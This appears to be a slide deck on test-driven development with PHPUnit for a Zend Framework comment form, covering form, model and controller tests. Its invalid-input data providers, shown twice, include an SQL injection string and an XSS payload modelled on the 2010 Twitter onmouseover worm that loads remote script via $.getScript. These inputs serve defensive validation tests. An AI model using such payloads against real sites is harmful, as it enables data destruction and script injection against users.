Any reasons not to test?

Most common excuses
• no time
• not within budget
• development team does not know how
• tests are provided after delivery
•…

NO EXCUSES!

Maintainability
•- during development
test will fail indicating bugs
•- after sales support
testing if an issue is genuine
- fixing issues won’t break code base
‣ if they do, you need to fix it!
• long term projects
- refactoring made easy

Remember
“Once a test is made, it will always be tested!”

Confidence
•- for the developer
code works
•- for the manager
project succeeds
•- for sales / general management / share holders
making profit
•- for the customer
paying for what they want

Testing Zend_Form

CommentForm
Name:
E-mail Address:
Website:
Comment:
Post

Start with the test
<?php
class Application_Form_CommentFormTest extends PHPUnit_Framework_TestCase
{
protected $_form;
protected function setUp()
{
$this->_form = new Application_Form_CommentForm();
parent::setUp();
}
protected function tearDown()
{
parent::tearDown();
$this->_form = null;
}
}

The good stuff
public function goodData()
{
return array (
array ('John Doe', 'john.doe@example.com',
'http://example.com', 'test comment'),
array ("Matthew Weier O'Phinney", 'matthew@zend.com',
'http://weierophinney.net', 'Doing an MWOP-Test'),
array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com',
'http://caseysoftware.com', 'Doing a monkey dance'),
);
}
/**
* @dataProvider goodData
*/
public function testFormAcceptsValidData($name, $email, $web, $comment)
{
$data = array (
'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
);
$this->assertTrue($this->_form->isValid($data));
}

The bad stuff
public function badData()
{
return array (
array ('','','',''),
array ("Robert'; DROP TABLES comments; --", '',
'http://xkcd.com/327/','Little Bobby Tables'),
array (str_repeat('x', 100000), '', '', ''),
array ('John Doe', 'jd@example.com',
"http://t.co/@"style="font-size:999999999999px;"onmouseover=
"$.getScript('http:u002fu002fis.gdu002ffl9A7')"/",
'exploit twitter 9/21/2010'),
);
}
/**
* @dataProvider badData
*/
public function testFormRejectsBadData($name, $email, $web, $comment)
{
$data = array (
'name' => $name, 'mail' => $mail, 'web' => $web, 'comment' => $comment,
);
$this->assertFalse($this->_form->isValid($data));
}

Create the form class
<?php
class Application_Form_CommentForm extends Zend_Form
{
public function init()
{
/* Form Elements & Other Definitions Here ... */
}
}

Let’s run the test

Let’s put in our elements
<?php
class Application_Form_CommentForm extends Zend_Form
{
public function init()
{
$this->addElement('text', 'name', array (
'Label' => 'Name', 'Required' => true));
$this->addElement('text', 'mail', array (
'Label' => 'E-mail Address', 'Required' => true));
$this->addElement('text', 'web', array (
'Label' => 'Website', 'Required' => false));
$this->addElement('textarea', 'comment', array (
'Label' => 'Comment', 'Required' => true));
$this->addElement('submit', 'post', array (
'Label' => 'Post', 'Ignore' => true));
}
}

Less errors?

Filter - Validate
$this->addElement('text', 'name', array (
'Label' => 'Name', 'Required' => true,
'Filters' => array ('StringTrim', 'StripTags'),
'Validators' => array (
new Zftest_Validate_Mwop(),
new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
));
$this->addElement('text', 'mail', array (
'Label' => 'E-mail Address', 'Required' => true,
'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'),
'Validators' => array (
new Zend_Validate_EmailAddress(),
new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
));
$this->addElement('text', 'web', array (
'Label' => 'Website', 'Required' => false,
'Filters' => array ('StringTrim', 'StripTags', 'StringToLower'),
'Validators' => array (
new Zend_Validate_Callback(array('Zend_Uri', 'check')),
new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50))),
));
$this->addElement('textarea', 'comment', array (
'Label' => 'Comment', 'Required' => true,
'Filters' => array ('StringTrim', 'StripTags'),
'Validators' => array (
new Zftest_Validate_TextBox(),
new Zend_Validate_StringLength(array ('max' => 5000))),
));

Green, warm & fuzzy

You’re a winner!
☑ quality code
☑ tested
☑ secure
☑ reusable

Testing models

Testing business logic
•- models contain logic
tied to your business
- tied to your storage
- tied to your resources
• no “one size fits all” solution

Type: data containers
•- contains structured data
populated through setters and getters
•- perform logic tied to it’s purpose
transforming data
- filtering data
- validating data
• can convert into other data types
- arrays
- strings (JSON, serialized, xml, …)
• are providers to other models

Comment Class

Writing model test
<?php
class Application_Model_CommentTest extends PHPUnit_Framework_TestCase
{
protected $_comment;
protected function setUp()
{
$this->_comment = new Application_Model_Comment();
parent::setUp();
}
protected function tearDown()
{
parent::tearDown();
$this->_comment = null;
}
public function testModelIsEmptyAtConstruct()
{
$this->assertSame(0, $this->_comment->getId());
$this->assertNull($this->_comment->getFullName());
$this->assertNull($this->_comment->getEmailAddress());
$this->assertNull($this->_comment->getWebsite());
$this->assertNull($this->_comment->getComment());
}
}

This test won’t run!

Create a simple model
<?php
class Application_Model_Comment
{
protected $_id = 0; protected $_fullName; protected $_emailAddress;
protected $_website; protected $_comment;
public function setId($id) { $this->_id = (int) $id; return $this; }
public function getId() { return $this->_id; }
public function setFullName($fullName) { $this->_fullName = (string) $fullName; return $this; }
public function getFullName() { return $this->_fullName; }
public function setEmailAddress($emailAddress) { $this->_emailAddress = (string) $emailAddress; return $this; }
public function getEmailAddress() { return $this->_emailAddress; }
public function setWebsite($website) { $this->_website = (string) $website; return $this; }
public function getWebsite() { return $this->_website; }
public function setComment($comment) { $this->_comment = (string) $comment; return $this; }
public function getComment() { return $this->_comment; }
public function populate($row) {
if (is_array($row)) {
$row = new ArrayObject($row, ArrayObject::ARRAY_AS_PROPS);
}
if (isset ($row->id)) $this->setId($row->id);
if (isset ($row->fullName)) $this->setFullName($row->fullName);
if (isset ($row->emailAddress)) $this->setEmailAddress($row->emailAddress);
if (isset ($row->website)) $this->setWebsite($row->website);
if (isset ($row->comment)) $this->setComment($row->comment);
}
public function toArray() {
return array (
'id' => $this->getId(),
'fullName' => $this->getFullName(),
'emailAddress' => $this->getEmailAddress(),
'website' => $this->getWebsite(),
'comment' => $this->getComment(),
);
}
}

We pass the test…

Really ???

Not all data from form!
•- model can be populated from
users through the form
- data stored in the database
- a webservice (hosted by us or others)
• simply test it
- by using same test scenario’s from our form

The good stuff
public function goodData()
{
return array (
array ('John Doe', 'john.doe@example.com',
'http://example.com', 'test comment'),
array ("Matthew Weier O'Phinney", 'matthew@zend.com',
'http://weierophinney.net', 'Doing an MWOP-Test'),
array ('D. Keith Casey, Jr.', 'Keith@CaseySoftware.com',
'http://caseysoftware.com', 'Doing a monkey dance'),
);
}
/**
* @dataProvider goodData
*/
public function testModelAcceptsValidData($name, $mail, $web, $comment)
{
$data = array (
'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
);
try {
$this->_comment->populate($data);
} catch (Zend_Exception $e) {
$this->fail('Unexpected exception should not be triggered');
}
$data['id'] = 0;
$data['emailAddress'] = strtolower($data['emailAddress']);
$data['website'] = strtolower($data['website']);
$this->assertSame($this->_comment->toArray(), $data);
}

The bad stuff
public function badData()
{
return array (
array ('','','',''),
array ("Robert'; DROP TABLES comments; --", '', 'http://xkcd.com/327/','Little Bobby
Tables'),
array (str_repeat('x', 1000), '', '', ''),
array ('John Doe', 'jd@example.com', "http://t.co/@"style="font-size:999999999999px;
"onmouseover="$.getScript('http:u002fu002fis.gdu002ffl9A7')"/", 'exploit twitter
9/21/2010'),
);
}
/**
* @dataProvider badData
*/
public function testModelRejectsBadData($name, $mail, $web, $comment)
{
$data = array (
'fullName' => $name, 'emailAddress' => $mail, 'website' => $web, 'comment' => $comment,
);
try {
$this->_comment->populate($data);
} catch (Zend_Exception $e) {
return;
}
$this->fail('Expected exception should be triggered');
}

Let’s run it

Modify our model
protected $_filters;
protected $_validators;
public function __construct($params = null)
{
$this->_filters = array (
'id' => array ('Int'),
'fullName' => array ('StringTrim', 'StripTags', new Zend_Filter_Alnum(true)),
'emailAddress' => array ('StringTrim', 'StripTags', 'StringToLower'),
'website' => array ('StringTrim', 'StripTags', 'StringToLower'),
'comment' => array ('StringTrim', 'StripTags'),
);
$this->_validators = array (
'id' => array ('Int'),
'fullName' => array (
new Zftest_Validate_Mwop(),
new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
),
'emailAddress' => array (
'EmailAddress',
new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
),
'website' => array (
new Zend_Validate_Callback(array('Zend_Uri', 'check')),
new Zend_Validate_StringLength(array ('min' => 4, 'max' => 50)),
),
'comment' => array (
new Zftest_Validate_TextBox(),
new Zend_Validate_StringLength(array ('max' => 5000)),
),
);
if (null !== $params) { $this->populate($params); }
}

Modify setters: Id & name
public function setId($id)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('id' => $id));
if (!$input->isValid('id')) {
throw new Zend_Exception('Invalid ID provided');
}
$this->_id = (int) $input->id;
return $this;
}
public function setFullName($fullName)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('fullName' => $fullName));
if (!$input->isValid('fullName')) {
throw new Zend_Exception('Invalid fullName provided');
}
$this->_fullName = (string) $input->fullName;
return $this;
}

Email & website
public function setEmailAddress($emailAddress)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('emailAddress' => $emailAddress));
if (!$input->isValid('emailAddress')) {
throw new Zend_Exception('Invalid emailAddress provided');
}
$this->_emailAddress = (string) $input->emailAddress;
return $this;
}
public function setWebsite($website)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('website' => $website));
if (!$input->isValid('website')) {
throw new Zend_Exception('Invalid website provided');
}
$this->_website = (string) $input->website;
return $this;
}

and comment
public function setComment($comment)
{
$input = new Zend_Filter_Input($this->_filters, $this->_validators);
$input->setData(array ('comment' => $comment));
if (!$input->isValid('comment')) {
throw new Zend_Exception('Invalid comment provided');
}
$this->_comment = (string) $input->comment;
return $this;
}

Now we’re good!

Testing Databases

Integration Testing
•- database specific functionality
triggers
- constraints
- stored procedures
- sharding/scalability
• data input/output
- correct encoding of data
- transactions execution and rollback

Points of concern
•- beware of automated data types
auto increment sequence ID’s
- default values like CURRENT_TIMESTAMP
• beware of time related issues
- timestamp vs. datetime
- UTC vs. local time

The domain Model
• Model object
• Mapper object
• Table gateway object

Testing web services

Web services remarks
•- you need to comply with an API
that will be your reference
•- you cannot always make a test-call
paid services per call
- test environment is “offline”
- network related issues

Good implementation?

Controller Testing

Our form flow

Setting up ControllerTest
<?php
class IndexControllerTest extends Zend_Test_PHPUnit_ControllerTestCase
{
public function setUp()
{
$this->bootstrap = new Zend_Application(
APPLICATION_ENV, APPLICATION_PATH . '/configs/application.ini');
parent::setUp();
}
}

Testing if form is on page
public function testIndexAction()
{
$params = array(
'action' => 'index',
'controller' => 'index',
'module' => 'default'
);
$url = $this->url($this->urlizeOptions($params));
$this->dispatch($url);
// assertions
$this->assertModule($params['module']);
$this->assertController($params['controller']);
$this->assertAction($params['action']);
$this->assertQueryContentContains(
'h1#pageTitle', 'Please leave a comment');
$this->assertQueryCount('form#commentForm', 1);
}

Test processing
public function testProcessAction()
{
$testData = array (
'name' => 'testUser',
'mail' => 'test@example.com',
'web' => 'http://www.example.com',
'comment' => 'This is a test comment',
);
$params = array('action' => 'process', 'controller' => 'index', 'module' => 'default');
$url = $this->url($this->urlizeOptions($params));
$this->request->setMethod('post');
$this->request->setPost($testData);
$this->dispatch($url);
// assertions
$this->assertModule($params['module']);
$this->assertController($params['controller']);
$this->assertAction($params['action']);
$this->assertResponseCode(302);
$this->assertRedirectTo('/index/success');
$this->resetRequest();
$this->resetResponse();
$this->dispatch('/index/success');
$this->assertQueryContentContains('span#fullName', $testData['name']);
}

REMARK
•- data providers can be used
to test valid data
- to test invalid data
• but we know it’s taken care of our model
- just checking for error messages in form

Test if we hit home
public function testSuccessAction()
{
$params = array(
'action' => 'success',
'controller' => 'index',
'module' => 'default'
);
$url = $this->url($this->urlizeOptions($params));
$this->dispatch($url);
// assertions
$this->assertModule($params['module']);
$this->assertController($params['controller']);
$this->assertAction($params['action']);
$this->assertRedirectTo('/');
}
